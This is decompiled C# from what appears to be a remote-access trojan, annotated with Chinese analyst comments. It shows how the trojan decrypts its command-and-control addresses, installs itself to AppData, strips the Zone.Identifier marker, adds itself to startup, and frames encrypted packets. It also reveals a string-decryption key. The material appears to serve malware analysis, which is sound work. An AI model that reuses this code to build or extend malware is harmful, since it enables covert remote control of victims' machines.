// Token: 0x060005BB RID: 1467 private static void smethod_2() { //判断判断互斥体是否多开,有则失去连接,并且返回 if (!GClass2.smethod_0(GClass35.string_6)) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //解密Key GClass18.smethod_0(GClass35.string_2); //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线) Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1)); //解密远程文件下载路径 %AppData%/Subdir/client.exe GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5); //geoip信息获取ip地理位置国家等信息 GClass34.smethod_0(); //判断上线地址是否失败 if (Class10.gclass25_0.IsEmpty) { GClass0.Disconnect = true; } if (GClass0.Disconnect) { return; } //删除当前目录下的后缀为:Zone.Identifier GClass4.smethod_2(GClass0.CurrentPath); //判断当前目录是否是下载目录如果不是则进入 if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath)) { //互斥体存在则关闭 GClass2.smethod_1(); //运行下载路径的文件 GClass13.smethod_0(Class10.client_0); return; } //用户状态更新线程 五秒更新一次 GClass3.smethod_2(); //添加程序到用户启动项 if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1()) { GClass0.AddToStartupFailed = true; } //添加并初始化实体类 Class10.smethod_1(); if (GClass35.bool_3) { if (Class10.threadStart_0 == null) { Class10.threadStart_0 = new ThreadStart(Class10.smethod_9); } new Thread(Class10.threadStart_0).Start(); return; } }
// Token: 0x06000148 RID: 328 RVA: 0x00008D60 File Offset: 0x00006F60 private byte[] BuildPacket(byte[] payload) { payload = SafeQuickLZ.Compress(payload, 3); payload = GClass18.smethod_3(payload); byte[] array = new byte[payload.Length + this.HEADER_SIZE]; Array.Copy(BitConverter.GetBytes(payload.Length), array, this.HEADER_SIZE); Array.Copy(payload, 0, array, this.HEADER_SIZE, payload.Length); return(array); }
// Token: 0x060005C4 RID: 1476 RVA: 0x000149EC File Offset: 0x00012BEC public static void smethod_0() { GClass18.smethod_0(GClass35.string_8); //GClass35.string_8 = dYxHB9fbdkKyJsZqTaRz 为字符串解密key GClass35.string_9 = GClass18.smethod_5(GClass35.string_9); //解密字符串 GClass35.string_0 = GClass18.smethod_5(GClass35.string_0); //解密字符串 GClass35.string_1 = GClass18.smethod_5(GClass35.string_1); //解密字符串 GClass35.string_2 = GClass18.smethod_5(GClass35.string_2); //解密字符串 GClass35.string_4 = GClass18.smethod_5(GClass35.string_4); //解密字符串 GClass35.string_5 = GClass18.smethod_5(GClass35.string_5); //解密字符串 GClass35.string_6 = GClass18.smethod_5(GClass35.string_6); //解密字符串 GClass35.string_7 = GClass18.smethod_5(GClass35.string_7); //解密字符串 GClass35.smethod_1(); //判断操作系统,对应文件拷贝下载路径 }
// Token: 0x06000144 RID: 324 RVA: 0x000087A0 File Offset: 0x000069A0 private void AsyncReceive(object state) { for (;;) { byte[] array; lock (this._readBuffers) { if (this._readBuffers.Count == 0) { lock (this._readingPacketsLock) { this._readingPackets = false; } break; } array = this._readBuffers.Dequeue(); } this._readableDataLen += array.Length; bool flag3 = true; while (flag3) { switch (this._receiveState) { case Client.ReceiveType.Header: if (this._readableDataLen >= this.HEADER_SIZE) { int num = this._appendHeader ? (this.HEADER_SIZE - this._tempHeaderOffset) : this.HEADER_SIZE; try { if (this._appendHeader) { try { Array.Copy(array, this._readOffset, this._tempHeader, this._tempHeaderOffset, num); } catch (Exception ex) { flag3 = false; this.OnClientFail(ex); break; } this._payloadLen = BitConverter.ToInt32(this._tempHeader, 0); this._tempHeaderOffset = 0; this._appendHeader = false; } else { this._payloadLen = BitConverter.ToInt32(array, this._readOffset); } if (this._payloadLen <= 0 || this._payloadLen > this.MAX_PACKET_SIZE) { throw new Exception("invalid header"); } } catch (Exception) { flag3 = false; this.Disconnect(); break; } this._readableDataLen -= num; this._readOffset += num; this._receiveState = Client.ReceiveType.Payload; } else { try { Array.Copy(array, this._readOffset, this._tempHeader, this._tempHeaderOffset, this._readableDataLen); } catch (Exception ex2) { flag3 = false; this.OnClientFail(ex2); break; } this._tempHeaderOffset += this._readableDataLen; this._appendHeader = true; flag3 = false; } break; case Client.ReceiveType.Payload: { if (this._payloadBuffer == null || this._payloadBuffer.Length != this._payloadLen) { this._payloadBuffer = new byte[this._payloadLen]; } int num2 = (this._writeOffset + this._readableDataLen >= this._payloadLen) ? (this._payloadLen - this._writeOffset) : this._readableDataLen; try { Array.Copy(array, this._readOffset, this._payloadBuffer, this._writeOffset, num2); } catch (Exception ex3) { flag3 = false; this.OnClientFail(ex3); break; } this._writeOffset += num2; this._readOffset += num2; this._readableDataLen -= num2; if (this._writeOffset == this._payloadLen) { bool flag4; if (!(flag4 = (this._payloadBuffer.Length == 0))) { this._payloadBuffer = GClass18.smethod_6(this._payloadBuffer); flag4 = (this._payloadBuffer.Length == 0); } if (!flag4) { try { this._payloadBuffer = SafeQuickLZ.Decompress(this._payloadBuffer); } catch (Exception) { flag3 = false; this.Disconnect(); break; } flag4 = (this._payloadBuffer.Length == 0); } if (flag4) { flag3 = false; this.Disconnect(); break; } using (MemoryStream memoryStream = new MemoryStream(this._payloadBuffer)) { try { IPacket packet = (IPacket)this._serializer.Deserialize(memoryStream); this.OnClientRead(packet); } catch (Exception ex4) { flag3 = false; this.OnClientFail(ex4); break; } } this._receiveState = Client.ReceiveType.Header; this._payloadBuffer = null; this._payloadLen = 0; this._writeOffset = 0; } if (this._readableDataLen == 0) { flag3 = false; } break; } } } if (this._receiveState == Client.ReceiveType.Header) { this._writeOffset = 0; } this._readOffset = 0; this._readableDataLen = 0; } }
// Token: 0x060001A3 RID: 419 RVA: 0x00002C68 File Offset: 0x00000E68 public static string smethod_2(string input) { return(Convert.ToBase64String(GClass18.smethod_3(Encoding.UTF8.GetBytes(input)))); }
// Token: 0x060001A2 RID: 418 RVA: 0x00002C46 File Offset: 0x00000E46 public static string smethod_1(string input, string key) { return(Convert.ToBase64String(GClass18.smethod_4(Encoding.UTF8.GetBytes(input), Encoding.UTF8.GetBytes(key)))); }
// Token: 0x060001A6 RID: 422 RVA: 0x00002C7F File Offset: 0x00000E7F public static string smethod_5(string input) { //先将编码base64转换然后 进入GClass18.smethod_6()函数 最后进行utf-8编码得到字符串 return(Encoding.UTF8.GetString(GClass18.smethod_6(Convert.FromBase64String(input)))); }